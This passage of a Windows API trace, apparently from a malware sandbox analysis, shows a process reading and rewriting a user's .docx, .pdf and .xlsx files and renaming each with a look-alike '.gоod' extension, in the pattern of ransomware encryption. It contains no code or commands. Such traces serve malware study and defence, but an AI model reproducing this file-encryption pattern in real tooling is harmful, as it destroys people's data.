lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", lpFilePart=0x0) returned 0x2f [0240.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.042] GetFileType (hFile=0x864) returned 0x1 [0240.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.042] GetFileType (hFile=0x864) returned 0x1 [0240.042] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xc119 [0240.042] WriteFile (in: hFile=0x864, lpBuffer=0x39575b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x39575b0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0240.042] CloseHandle (hObject=0x864) returned 1 [0240.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", lpFilePart=0x0) returned 0x2f [0240.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.043] GetFileType (hFile=0x864) returned 0x1 [0240.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.043] GetFileType (hFile=0x864) returned 0x1 [0240.043] ReadFile (in: hFile=0x864, lpBuffer=0x3959850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3959850*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0240.474] CloseHandle (hObject=0x864) returned 1 [0240.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", lpFilePart=0x0) returned 0x2f [0240.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.475] GetFileType (hFile=0x864) returned 0x1 [0240.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.475] GetFileType (hFile=0x864) returned 0x1 [0240.475] WriteFile (in: hFile=0x864, lpBuffer=0x3711cd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3711cd0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0240.475] CloseHandle (hObject=0x864) returned 1 [0240.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", lpFilePart=0x0) returned 0x2f [0240.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx.gоod", lpFilePart=0x0) returned 0x34 [0240.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0240.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f12b0, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0x3a74dd90, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x8b8b21de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc129)) returned 1 [0240.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0240.475] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx.gоod")) returned 1 [0240.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", lpFilePart=0x0) returned 0x2a [0240.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0240.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3818bb0 | out: lpFileInformation=0x3818bb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9494480, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0x6fd5bcb0, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0x6fd5bcb0, ftLastWriteTime.dwHighDateTime=0x1d4d48e, nFileSizeHigh=0x0, nFileSizeLow=0x26c4)) returned 1 [0240.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0240.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", lpFilePart=0x0) returned 0x2a [0240.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.477] GetFileType (hFile=0x864) returned 0x1 [0240.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.477] GetFileType (hFile=0x864) returned 0x1 [0240.477] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0240.477] ReadFile (in: hFile=0x864, lpBuffer=0x3818f68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3818f68*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0240.478] CloseHandle (hObject=0x864) returned 1 [0240.478] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", lpFilePart=0x0) returned 0x2a [0240.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.478] GetFileType (hFile=0x864) returned 0x1 [0240.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.478] GetFileType (hFile=0x864) returned 0x1 [0240.478] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x26c4 [0240.478] WriteFile (in: hFile=0x864, lpBuffer=0x381a1d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x381a1d0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0240.478] CloseHandle (hObject=0x864) returned 1 [0240.479] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", lpFilePart=0x0) returned 0x2a [0240.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.479] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.479] GetFileType (hFile=0x864) returned 0x1 [0240.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.479] GetFileType (hFile=0x864) returned 0x1 [0240.479] ReadFile (in: hFile=0x864, lpBuffer=0x381c460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x381c460*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0240.627] CloseHandle (hObject=0x864) returned 1 [0240.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", lpFilePart=0x0) returned 0x2a [0240.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.627] GetFileType (hFile=0x864) returned 0x1 [0240.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.627] GetFileType (hFile=0x864) returned 0x1 [0240.627] WriteFile (in: hFile=0x864, lpBuffer=0x37479e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x37479e8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0240.627] CloseHandle (hObject=0x864) returned 1 [0240.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf", lpFilePart=0x0) returned 0x2a [0240.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf.gоod", lpFilePart=0x0) returned 0x2f [0240.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0240.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9494480, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0x6fd5bcb0, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0x8ba2f873, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x26d4)) returned 1 [0240.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0240.628] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\GsuP3Tb_tM5w.pdf.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\gsup3tb_tm5w.pdf.gоod")) returned 1 [0240.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", lpFilePart=0x0) returned 0x23 [0240.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0240.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x37dd218 | out: lpFileInformation=0x37dd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda722f00, ftCreationTime.dwHighDateTime=0x1d574b0, ftLastAccessTime.dwLowDateTime=0xa64e2730, ftLastAccessTime.dwHighDateTime=0x1d56379, ftLastWriteTime.dwLowDateTime=0xa64e2730, ftLastWriteTime.dwHighDateTime=0x1d56379, nFileSizeHigh=0x0, nFileSizeLow=0xf641)) returned 1 [0240.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0240.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", lpFilePart=0x0) returned 0x23 [0240.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.629] GetFileType (hFile=0x864) returned 0x1 [0240.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.629] GetFileType (hFile=0x864) returned 0x1 [0240.629] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0240.629] ReadFile (in: hFile=0x864, lpBuffer=0x37dd590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37dd590*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0240.630] CloseHandle (hObject=0x864) returned 1 [0240.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", lpFilePart=0x0) returned 0x23 [0240.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.630] GetFileType (hFile=0x864) returned 0x1 [0240.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.630] GetFileType (hFile=0x864) returned 0x1 [0240.630] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xf641 [0240.630] WriteFile (in: hFile=0x864, lpBuffer=0x37de7d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37de7d8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0240.631] CloseHandle (hObject=0x864) returned 1 [0240.631] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", lpFilePart=0x0) returned 0x23 [0240.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.631] GetFileType (hFile=0x864) returned 0x1 [0240.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.631] GetFileType (hFile=0x864) returned 0x1 [0240.631] ReadFile (in: hFile=0x864, lpBuffer=0x37e0a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37e0a48*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0241.661] CloseHandle (hObject=0x864) returned 1 [0241.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", lpFilePart=0x0) returned 0x23 [0241.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0241.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0241.662] GetFileType (hFile=0x864) returned 0x1 [0241.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0241.662] GetFileType (hFile=0x864) returned 0x1 [0241.662] WriteFile (in: hFile=0x864, lpBuffer=0x3769d60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3769d60*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0241.662] CloseHandle (hObject=0x864) returned 1 [0241.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx", lpFilePart=0x0) returned 0x23 [0241.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx.gоod", lpFilePart=0x0) returned 0x28 [0241.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0241.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda722f00, ftCreationTime.dwHighDateTime=0x1d574b0, ftLastAccessTime.dwLowDateTime=0xa64e2730, ftLastAccessTime.dwHighDateTime=0x1d56379, ftLastWriteTime.dwLowDateTime=0x8c4054de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf651)) returned 1 [0241.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0241.662] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\izlC.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\izlc.xlsx.gоod")) returned 1 [0241.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", lpFilePart=0x0) returned 0x24 [0241.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0241.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39cfde0 | out: lpFileInformation=0x39cfde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3658d60, ftCreationTime.dwHighDateTime=0x1d53f75, ftLastAccessTime.dwLowDateTime=0xa65714a0, ftLastAccessTime.dwHighDateTime=0x1d56c3c, ftLastWriteTime.dwLowDateTime=0xa65714a0, ftLastWriteTime.dwHighDateTime=0x1d56c3c, nFileSizeHigh=0x0, nFileSizeLow=0x95d5)) returned 1 [0241.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0241.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", lpFilePart=0x0) returned 0x24 [0241.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0241.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0241.664] GetFileType (hFile=0x864) returned 0x1 [0241.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0241.664] GetFileType (hFile=0x864) returned 0x1 [0241.664] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0241.664] ReadFile (in: hFile=0x864, lpBuffer=0x39d0168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x39d0168*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0241.665] CloseHandle (hObject=0x864) returned 1 [0241.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", lpFilePart=0x0) returned 0x24 [0241.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0241.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0241.665] GetFileType (hFile=0x864) returned 0x1 [0241.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0241.665] GetFileType (hFile=0x864) returned 0x1 [0241.665] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x95d5 [0241.665] WriteFile (in: hFile=0x864, lpBuffer=0x39d13b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x39d13b8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0241.665] CloseHandle (hObject=0x864) returned 1 [0241.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", lpFilePart=0x0) returned 0x24 [0241.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0241.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0241.666] GetFileType (hFile=0x864) returned 0x1 [0241.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0241.666] GetFileType (hFile=0x864) returned 0x1 [0241.666] ReadFile (in: hFile=0x864, lpBuffer=0x39d3630, 